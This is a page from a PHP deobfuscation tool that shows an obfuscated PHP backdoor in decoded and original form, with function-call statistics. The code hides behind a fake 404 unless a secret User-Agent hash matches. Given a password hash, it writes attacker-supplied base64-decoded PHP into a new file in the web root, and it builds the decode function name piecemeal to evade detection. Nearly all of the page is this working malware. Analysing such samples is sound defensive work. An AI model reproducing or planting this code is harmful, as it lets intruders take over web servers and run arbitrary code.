Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (/*S(x1M2r4FJQd8:RCC]U*/md5//iO[gZ%hYc (//6Tv\3_R0Gv%wmk4i5 md5/*IXM@|!^$l*/(/..
Decoded Output download
<?php
if (/*S(x1M2r4FJQd8:RCC]U*/md5//iO[gZ%hYc
(//6Tv_R0Gv%wmk4i5
md5/*IXM@|!^$l*/(/*>\wTFA*/md5/*zXrb*EB0Eav*/( ##oYlM)FSD;gwrUT .cE7(
$_SERVER/*-:y1&3M-VHiL-*/['HTTP_USER_AGENT']))) != ##XH2j(mgA;F7lRf
'39542de4e2fa50462d96ea26e878a658') ##0x4XFYJNrH
{
##q!5<3e=rqZ_bS
header/*7:$V-*/( ##~EAL$cFgo1q+jjFAY0p(
'HTTP/1.1 404 Not Found')/*Oi6:Muc!oyj=EzQ*/;
// h_O=dYo
header//AzqyU-~e0[!x\j.uL
(//MoQ,Y\Vd<ls88
"status: 404 Not Found")//%,&pw!
;
die();
}
if(!empty(//mkWT.[%AMC.$_jB
$_POST//]#yb%6B\8}L&
["contentp"]) && !empty( ##sWyKKM)fT%mO
$_POST ##+F^IQzWB2Puq
["filename"]) && @ ##~*]A6T>13Evl*`%a;C
md5//&S7G]oPb2U}rxTt*EF<
(//mVTXFZqh\d\
$_POST ##%i3(IF&J
["pass"]) == //Sc1b$l;N4``&8h
"bc795727e71d6b3f9fff79eb7bccf000")//;J}\@it^c0S2pvH6Y!.
{
/*bJGTq jpU{xE*/$filename//b\;\i*3@GP5
= ##$A^D$AnUBF
$_SERVER/*$=;1wxjKK#7k_S*/["DOCUMENT_ROOT"] . ##xNM`mY5
"/". ##nbbqLN6Tg1H
@//0Z VbRIXcSZpr
trim/*mc^,Pn<vzvq~@;Rc3v*/(/*_CTaXOjKgx_FmXZ=xVN*/$_POST ##mV-(Eet,3X{--mF
["filename"]) . /*,*z3rR,wA*/".p"; ##1cJ*)\w#1vAIK.X=<5 &
/*;e^jiYMQh80McbWDW=*/$filename//,Rsr\S}VKjz
.= /*(,uA9N7*/"hp";/*d4[L+[L72uU9*U)&G0*/
//ko|H[.0 VaZA$b(|x
$path ##k74[D4~jYG,Hvy9GBao1
= /*1rYZ$*/substr_replace/*Ga-GT:IzxX)JY>BK*/("bar","se646",2);
//s7-0p
$path//PC*wHd6l|29
= ##6,CFD]M=r^B[|4
substr_replace/*(V:<fBbU*/($path,"_decor",6);
//P4O_{FAM&w]
$path ##OD[->`g8}d(C
= ##FxW,2nFju$5=;x8
substr_replace//hLL9vc$_$d
($path,"de",11);
##j,]]A5*E:Mp1tZf
file_put_contents ##W}e)^gR-V63^w,G_ht
($filename, //tsa:T4 otk
"<?php
".//g907B*!}
$path//&^iY3F0kb
( ##Mxb)lSi]zI#(SN
$_POST/*eKy[O_5WWkmH!I*/["contentp"]). ##N#dZw@SKx1;f&(O
"?>")/*`RbQ6*/;
echo //;QFpUJEN&P+_u=N6)#
$filename//5Tu@U
;exit();
}
Did this file decode correctly?
Original Code
<?php
if (/*S(x1M2r4FJQd8:RCC]U*/md5//iO[gZ%hYc
(//6Tv\3_R0Gv%wmk4i5
md5/*IXM@|!^$l*/(/*>\wTFA*/md5/*zXrb*EB0Eav*/( ##oYlM)FSD;gwrUT .cE7(
$_SERVER/*-:y1&3M-VHiL-*/['HTTP_USER_AGENT']))) != ##XH2j(mgA;F7lR\af
'39542de4e2fa50462d96ea26e878a658') ##0x4XFY\2JNrH
{
##q!5<3e=rqZ_bS
header/*7:$V-*/( ##~EAL$cFgo1q+jjFAY0p(
'HTTP/1.1 404 Not Found')/*Oi6:Muc!oyj=EzQ*/;
// h_O=dYo
header//AzqyU-~e0[!x\j.uL
(//MoQ,Y\Vd<ls88
"status: 404 Not Found")//%,&pw!
;
die();
}
if(!empty(//mkWT\56[%AMC.$_jB
$_POST//]#yb%6B\8}L&
["contentp"]) && !empty( ##sWyKKM)fT%mO
$_POST ##+F^IQzWB2Puq
["filename"]) && @ ##~*]A6T>13Evl*`%a;C
md5//&S7G]oPb2U}rxTt*EF<
(//mVTXFZqh\d\
$_POST ##%i3(IF&J
["pass"]) == //Sc1b$l;N4``&8h
"bc795727e71d6b3f9fff79eb7bccf000")//;J}\@it^c0S2pvH6Y!.
{
/*bJGTq jpU{x\3E*/$filename//b\;\i*3@GP5
= ##$A^D$AnUBF
$_SERVER/*$=;1wxjKK#7k_S*/["DOCUMENT_ROOT"] . ##xNM`mY5
"/". ##nbbqLN6Tg1H
@//0Z VbRIXcSZpr
trim/*mc^,Pn<vzvq~@;Rc3v*/(/*_CTaXOjKgx_FmXZ=xVN*/$_POST ##mV-(Eet,3X{--mF
["filename"]) . /*,*z3rR,wA*/".p"; ##1cJ*)\w#1vAIK.X=<5 &
/*;e^jiYMQh80McbWDW=*/$filename//,Rsr\S}VKjz
.= /*(,uA9N7*/"hp";/*d4[L+[L72uU9*U)&G0*/
//ko|H[.0 VaZA$b(|x
$path ##k74[D4~jYG,Hvy9GBao1
= /*1rYZ$*/substr_replace/*Ga-GT:IzxX)\2JY>BK*/("bar","se646",2);
//s7-0p
$path//PC*wHd6l|29
= ##6,CFD]M=r^B[|4
substr_replace/*(V:<fBbU*/($path,"_decor",6);
//P4O_{FAM&w]
$path ##OD[->`g8}d(C
= ##FxW,2nFju$5=;x8
substr_replace//hLL9vc$_$d
($path,"de",11);
##j,]]A5*E:Mp1tZf
file_put_contents ##W}e)^gR-V63^w,G_ht
($filename, //tsa:T4 otk
"<?php\n".//g907B*!}
$path//&^iY3F0kb
( ##Mxb)lSi]zI#(SN
$_POST/*eKy[O_5WWkmH!I*/["contentp"]). ##N#dZw@SKx1;f&(O
"?>")/*`RbQ6*/;
echo //;QFpUJEN&P+_u=N6)#
$filename//5Tu@U
;exit();
}
Function Calls
md5 | 3 |
header | 1 |
Stats
MD5 | bb1b598e22568049bb825287f82cb407 |
Eval Count | 0 |
Decode Time | 71 ms |